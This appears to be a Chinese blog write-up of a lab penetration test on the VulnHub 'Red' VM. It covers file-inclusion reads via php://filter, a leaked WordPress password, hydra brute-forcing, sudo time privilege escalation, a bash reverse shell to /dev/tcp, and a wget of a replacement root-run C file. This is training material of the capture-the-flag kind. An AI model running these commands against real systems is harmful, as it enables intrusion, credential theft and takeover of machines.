Red靶机渗透总结

本文详细记录了一次针对虚拟机Red的渗透测试过程,包括使用nmap扫描、网站分析、文件包含漏洞利用、SSH登录与密码破解、sudo提权、反弹shell以及最终的root权限获取。在过程中,通过修改hosts文件、利用php://filter读取文件内容、创建反弹shell等技术手段,逐步揭示了系统的脆弱点并成功渗透。
摘要由CSDN通过智能技术生成

靶机下载链接
https://download.vulnhub.com/red/Red.ova

  1. 打开red虚拟机,使用nmap扫网段后发现没有red虚拟机的ip,然后百度修改了red虚拟机,获得了ip在这里插入图片描述
    在这里插入图片描述

  2. 使用nmap扫描网段,发现了red虚拟机的ip和端口在这里插入图片描述
    根据开放的80端口获得了网站在这里插入图片描述

  3. 经过点击网战链接测试,发现存在的网站无法打开,此时我们需要修改hosts文件,将redrocks.win 进行本地解析在这里插入图片描述
    在这里插入图片描述

  4. 解析后得出网站,并且网站提示有后门文件
    在这里插入图片描述

  5. 开始信息收集,进行目录扫描,用dirb和御剑没扫出来有用的,查看源代码发现可以向这个人寻求帮助,google搜索了下这个人,出现了gihub的一个工具,也是用来收集信息的
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  6. 最后通过工具的使用后发现了存在文件包含的文件
    http://redrocks.win/NetworkFileManagerPHP.php?key=/etc/passwd
    在这里插入图片描述

  7. 并且发现直接用文件包含去读取原文件无法读取,但是通过伪协议可以读取到内容
    http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=NetworkFileManagerPHP.php
    在这里插入图片描述

    经过解码后,获得了文件内容
    <?php
    	$file = $_GET['key'];
    	if(isset($file))
    	{
       	include("$file");
    }
    else
    {
    	include("NetworkFileManagerPHP.php");
    }
    /* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */
    ?>
    

    并且里面存在的base64编码经过解码后,又是一个提示在这里插入图片描述

  8. 提到了账号密码,然后网站用的是wordpress框架,然后就开始找和wordpress账号密码有关的文件,利用文件包含去读取,而wordpress框架的配置文件是wp-config.php
    http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=wp-config.php
    利用同样的方式读取,并且解码后,获得了文件内容,并且找到了用户和密码
    用户: john 密码: R3v_m4lwh3r3_k1nG!!
    在这里插入图片描述

  9. 之前扫描端口的时候,22端口的ssh服务是开着的,所以我们尝试利用ssh登录试试
    发现密码错误
    在这里插入图片描述

  10. 接下来就是破解密码了,网上找的方法是先建立pass.txt文件,将之前配置文件那个密码放入,然后利用hashcat对应的base64规则去枚举相关的密码,存入passlist.txt中,格式是类似于之前获得的那个密码的,最好利用hydra进行爆破,获得对应的密码在这里插入图片描述

  11. 利用密码重新进行ssh登录,登录成功,用户为john在这里插入图片描述

  12. 并且发现,它会时不时蹦出几句话,并且一段时间后就自动断开连接,需要我们重新利用hydra爆破密码来连接,密码不是固定的在这里插入图片描述

  13. 重新连接后,使用sudo –l 命令,查看了sudoers文件的相关内容
    发现存在ippsec用户无密码执行time命令
    首先就考虑到了sudo 滥用的提权
    在这里插入图片描述

  14. 在https://gtfobins.github.io/网站上找到了time命令的提权
    利用sudo 的命令,注意这里需要加上-u 参数指定用户,不然默认是root
    Root需要输入密码才能提权,但是ippsec不需要密码
    sudo /usr/bin/time /bin/sh
    sudo -u ippsec /usr/bin/time /bin/sh
    在这里插入图片描述
    sudo /usr/bin/time /bin/sh 没有root密码,错误在这里插入图片描述
    输入sudo -u ippsec /usr/bin/time /bin/sh,提权成功,从john用户提权到了ippsec用户在这里插入图片描述

  15. 此时我们发现ippsec用户下面有个txt文件,本俩想用cat查看里面内容,结果发现cat命令和vim命令两个反过来在这里插入图片描述

  16. 因为一直会断开连接,所以我们弄个反弹shell,自己开一个监听连接
    sudo -u ippsec /usr/bin/time /bin/bash
    bash -i >& /dev/tcp/192.168.11.131/12345 0>&1
    在kali里开启12345端口监听,让ippsec用户去连接,建立会话,这样就不会断开ippsec用户的连接了,可能是因为它会结束jhon用户的进程,但是不会结束ippsec用户的进程
    但是经过测试之后还是会断开,比john用户要连接时间长一点
    在这里插入图片描述

  17. 在ippsec用户下.我们寻找有ippsec权限的文件
    通过命令 find / -group ippsec -type d 2>/dev/null | grep -v proc
    找到两个文件夹
    在这里插入图片描述

  18. 在/var/www/wordpress/.git目录下,发现了rev文件和supersecretfileuc.c文件
    supersecretfileuc.c文件是c语言的文件
    rev是可以运行的文件,经过运行后,发现是运行supersecretfileuc.c文件里面的内容
    并且是以root用户的身份运行的
    在这里插入图片描述
    在这里插入图片描述

  19. supersecretfileuc.c文件是只有root用户可以读取和写入,其它用户都是只能读取
    但是不包括,其它用户删除这个文件
    我们可以删除rev文件和supersecretfileuc.c文件,创建一个新的supersecretfileuc.c文件,里面放提权的c语言代码
    需要注意的是rev文件是在运行supersecretfileuc.c文件时自动生成的,以root的身份去运行c语言文件

    https://www.revshells.com/网站可以自动生成C语言的提权shell
    在这里插入图片描述
    将新创建的c文件反正另一台主机上,通过wget远程下载
    wget http://192.168.11.246/supersecretfileuc.c
    在这里插入图片描述
    在这里插入图片描述

  20. 最后我们另开启一个命令行,开启设定的2333端口,等待red虚拟机执行提权shell的连接
    成功的进行提权,并且发现root.txt,用与cat互换功能的vim命令查看了文件内容
    在这里插入图片描述
    21. 使用命令corntab –l 查看到了几个定时的执行后面文件的任务,这些也是造成ssh断开的原因 在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值